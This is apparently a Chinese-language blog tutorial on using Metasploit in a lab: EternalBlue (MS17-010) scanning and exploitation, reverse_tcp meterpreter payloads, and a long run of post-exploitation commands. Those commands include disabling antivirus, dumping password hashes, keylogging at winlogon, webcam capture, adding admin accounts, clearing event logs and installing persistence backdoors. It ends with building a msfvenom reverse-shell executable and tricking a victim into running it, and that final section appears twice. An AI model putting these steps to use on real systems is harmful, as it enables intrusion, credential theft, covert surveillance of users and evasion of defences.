实验环境 前提:对方的445端口必须开放,首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通
如果无法ping的话,对方机器必须要关闭防火墙,或许有其他方法在对方开启防火墙的情况下访问到对方?目前采用关闭防火墙
使用工具:kali
靶机:windows 7 ip:10.0.0.128
攻击机器:kali IP:10.0.0.139
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
1 2 3 4 5 6 7 ┌──(root㉿kali)-[/home/cherry] └─# msfconsole =[ metasploit v6.4.54-dev ] 框架的版本号是 v6.4.54-dev + -- --=[ 2499 exploits - 1289 auxiliary - 393 post ] 2499 个漏洞利用模块。1289个辅助模块。393个后渗透模块 + -- --=[ 1607 payloads - 49 encoders - 13 nops ] 1607 个有效载荷 49个编码器 13个NOP 生成器 + -- --=[ 9 evasion 9 个规避模
使用方法 1.基础使用 1 2 3 4 5 6 7 8 9 msfconsole #进入框架 search ms17_010 # 使用search命令查找相关漏洞 use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块 info #使用info查看模块信息 set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷 show options #查看模块需要配置的参数 set RHOST 10.0.0.128 #设置参数 exploit / run #攻击 后渗透阶段 #后渗透阶段
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。 我们也可以将攻击代码写入configure.rc(只要是以.rc结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc进行自动攻击!
2.MS17_010(永恒之蓝): 我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞
3.Meterpreter Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入
”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件
Meterpreter是如何工作的?
首先目标先要执行初始的溢出漏洞
会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll
链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点
Meterpreter
完全驻留在内存
,没有写入到磁盘。
Meterpreter
注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter
的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。 我们在设置payloads
时,可以将payloads
设置为:windows/meterpreter/reverse_tcp
,然后获得了meterpreter>
之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
1 msfconsole #输入这个命令主要是进入msf渗透框架中
2、搜索MS17_010漏洞:
1 search ms17_010 #利用search命令,搜索漏洞相关利用模块
4.Auxiliary辅助探测模块 利用Auxiliary辅助探测模块对漏洞进行探测:
Auxiliary辅助探测模块
: 该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
1 use auxiliary/scanner/smb/smb_ms17_010
2、查看这个模块需要配置的信息:
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
1 set rhost 10.0.0.1-10.0.0.254
4、对上面设置的ip范围内的主机进行攻击: 注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
5.Exploit漏洞利用模块 使用Exploit漏洞利用模块
对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:
1 use exploit/windows/smb/ms17_010_eternalblue
2、查看这个漏洞的信息:
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统
真好靶机就是Windows7
6.Payload攻击载荷模块: 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:
1 show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
2、设置攻击载荷:
1 set payload windows/x64/meterpreter/reverse_tcp
关于reverse_ tcp与bind _tcp
采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机
,所以一般不会被防火墙发现。
而采用bind的方法,攻击机主动连接目标机
( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。
3、查看模块需要配置的参数:
4、设置攻击载荷参数:
1 2 3 set RHOST 10.0.0.129 #设置RHOST,也就是要攻击主机的ip set LHOST 10.0.0.128 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
7.后渗透阶段: 运行了exploit命令
之后,我们开启了一个reverse TCP监听器
来监听本地的6666
端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter >
出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
Meterpreter的命令用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 Meterpreter > ? ========================================== 核心命令: ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话(用于 http/https) disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUIDhelp 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure (重新)协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值sleep 强制 Meterpreter 安静,然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道 ========================================== Stdapi:文件系统命令 ========================================== 命令 说明 ------- ------------cat 将文件内容读到屏幕上cd 切换目录 checksum 检索文件的校验和cp 将源复制到目标 del 删除指定文件dir 列出文件(ls 的别名) download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录ls 列出文件mkdir 制作目录mv 将源移动到目标pwd 打印工作目录rm 删除指定文件rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 ========================================== Stdapi:网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表 ========================================== Stdapi:系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息,例如 OS ========================================== Stdapi:用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件 ========================================== Stdapi:网络摄像头命令: ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流 ========================================== Stdapi:音频输出命令: ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav) ========================================== Priv:权限提升命令: ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。 ========================================== Priv:密码数据库命令: ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容 ========================================== Priv:Timestomp 命令: ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性 meterpreter >
常用的Meterpreter命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详细信息 run hashdump #导出密码的哈希 load kiwi #加载mimikatz ps #查看目标主机进程信息 pwd #查看目标当前目录(windows) getlwd #查看目标当前目录(Linux) search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件 download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下 upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下 getpid #查看当前Meterpreter Shell的进程PID migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上 idletime #查看主机运行时间 getuid #查看获取的当前权限 getsystem #提权,获得的当前用户是administrator才能成功 run killav #关闭杀毒软件 screenshot #截图 webcam_list #查看目标主机的摄像头 webcam_snap #拍照 webcam_stream #开视频 execute 参数 -f 可执行文件 #执行可执行程序 run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456 run getgui -e #开启远程桌面 keyscan_start #开启键盘记录功能 keyscan_dump #显示捕捉到的键盘记录信息 keyscan_stop #停止键盘记录功能 uictl disable keyboard #禁止目标使用键盘 uictl enable keyboard #允许目标使用键盘 uictl disable mouse #禁止目标使用鼠标 uictl enable mouse #允许目标使用鼠标 load #使用扩展库 run #使用扩展库# 会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀 run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 # 将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址 portfwd add -l 9999 -r 192.168.100.158 -p 3389 clearev #清除日志
我们输入: shell即可切换到目标主机的windows cmd_shell里面:
要想从目标主机shell退出到meterpreter
,我们只需输入:exit
从meterpreter退出到MSF框架: 我们只需输入:background
查看前面获得的meterpreter_shell
会话,最前面的数字是会话的id:
输入sessions [id号]即可进入相应的meterpreter_shell
中:
7.1 Post 后渗透模块 该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
1 2 3 4 5 6 7 8 9 run post/windows/manage/migrate #自动进程迁移 run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上 run post/windows/manage/killav #关闭杀毒软件 run post/windows/manage/enable_rdp #开启远程桌面服务 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列举当前登录的用户 run post/windows/gather/enum_applications #列举应用程序 run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码 run post/windows/gather/smart_hashdump #dump出所有用户的hash
输入:sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上: 查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境
1 run post/windows/gather/checkvm
7.3 关闭杀毒软件: 拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令
1 run post/windows/manage/killav
7.4 获取目标主机的详细信息: 它将目标机器上的常见信息收集起来然后下载保存在本地
7.5 访问文件系统: Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下
1 2 3 4 5 6 7 8 pwd cd cat rm edit ls mkdir rmdir
7.6 上传/下载文件: 下载文件:
上传文件:
7.7 权限提升: 有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
1 2 3 4 #自动提权为系统权限 getsystem #命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户权限为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。 getuid
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
7.8 获取用户密码 参考链接:https://blog.csdn.net/weixin_45588247/article/details/119519411?spm=1001.2014.3001.5501
7.9 运行程序: 先查看目标主机安装了哪些应用:
1 run post/windows/gather/enum_applications
在meterpreter_shell命令行执行目标系统中的应用程序:
1 2 3 4 5 6 7 8 9 10 #execute命令用法: execute [参数] -f 指定的可执行文件 -f:指定可执行文件 -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程
7.11 屏幕截图 1、截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/
目录下
7.12 创建一个新账号: 先查看目标主机有哪些用户:
1 run post/windows/gather/enum_logged_on_users
在目标系统中创建一个新的用户账号的方法一:
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
1 2 3 run getgui -u 用户 -p 密码 -u: 指定用户 -p: 指定密码
在目标系统中创建一个新的用户账号的方法二:
1 2 3 4 enable_rdp脚本: run post/windows/manage/enable_rdp USERNAME=cherry PASSWORD=123456 #添加用户 run post/windows/manage/enable_rdp #开启远程桌面 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
7.13 启用远程桌面:
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp
命令可以开启远程桌面。
在开启远程桌面会话之前,我们还需要使用idletime命令
检查远程用户的空闲时长:
7.14 键盘记录: Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
1 2 3 keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看; keyscan_dump: #显示捕捉到的键盘记录信息 keyscan_stop: #停止键盘记录功能
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
7.15 进程迁移: Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter
跟 winlogon.exe
绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps
命令查看目标设备中运行的进程:
我们可以使用:getpid
查看我们当前的进程id:
使用:migrate
+目标进程ID
命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter
的pid
已经和 winlogon.exe
一样了
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid
命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate
)命 令,系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标 1 2 uictl disable(enable) keyboard #禁止(允许)目标使用键盘 uictl disable(enable) mouse #禁止(允许)目标使用鼠标
7.17 用目标主机摄像头拍照: 1 2 3 webcam_list #获取目标系统的摄像头列表 webcam_snap #从指定的摄像头,拍摄照片 webcam_stream #从指定的摄像头,开启视频
7.18 常用扩展库介绍 meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。
1 2 3 4 load/use #加载模块 load -l #列出所有可用的扩展 load -help #帮助;说明 run #执行一个已有的模块
注:这里输入run后,双击Tab键列出所有的已有的脚本;
7.19 生成持续性后门(重点): 因为meterpreter
是基于内存DLL
建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence)
,一种是通过服务启动(metsvc)
7.19.1 启动项启动: 启动项启动的话,我们先生成一个后门木马。
需要去学习怎么生成后门木马 todo
然后放到windows的启动目录
中:
1 C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
msf制作反弹shell 1.制作反弹shell-exe文件 1 2 3 4 5 msfvenom -p windows/meterpreter/reverse_tcp LHOST=kaili的ip地址 LPORT=5577 -f exe -o /root/test.exe LHOST kaili的ip地址 LPORT 为反弹端口 test.exe 为生成文件
木马生成成功:
然后把木马传输到主机
2.控制端启动msfconsole,获取监听 1 2 3 4 5 6 7 8 9 msfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 0.0.0.0 msf5 exploit(multi/handler) > set LPORT 5577 msf5 exploit(multi/handler) > run 一句话: handler -p windows/meterpreter/reverse_tcp -H kaili的ip地址 -P 5577
这时候只需要诱惑点击我们的test.exe文件。我们就可以进入到meterpreter界面了。
3.反弹成功 因为我win7拖拽文件有问题。这里我使用Win10做靶机。
成功获取到对话:
我们输入: shell
即可切换到目标主机的windows cmd_shell
里面:
1 2 shell #获取目标主机的cmd_shell权限 chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
然后把木马传输到主机
2.控制端启动msfconsole,获取监听 1 2 3 4 5 6 7 8 9 msfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 0.0.0.0 msf5 exploit(multi/handler) > set LPORT 5577 msf5 exploit(multi/handler) > run 一句话: handler -p windows/meterpreter/reverse_tcp -H kaili的ip地址 -P 5577
这时候只需要诱惑点击我们的test.exe文件。我们就可以进入到meterpreter界面了。
3.反弹成功 因为我win7拖拽文件有问题。这里我使用Win10做靶机。
成功获取到对话:
[外链图片转存中…(img-iM5SHzMh-1744342215955)]
我们输入: shell
即可切换到目标主机的windows cmd_shell
里面:
1 2 shell #获取目标主机的cmd_shell权限 chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8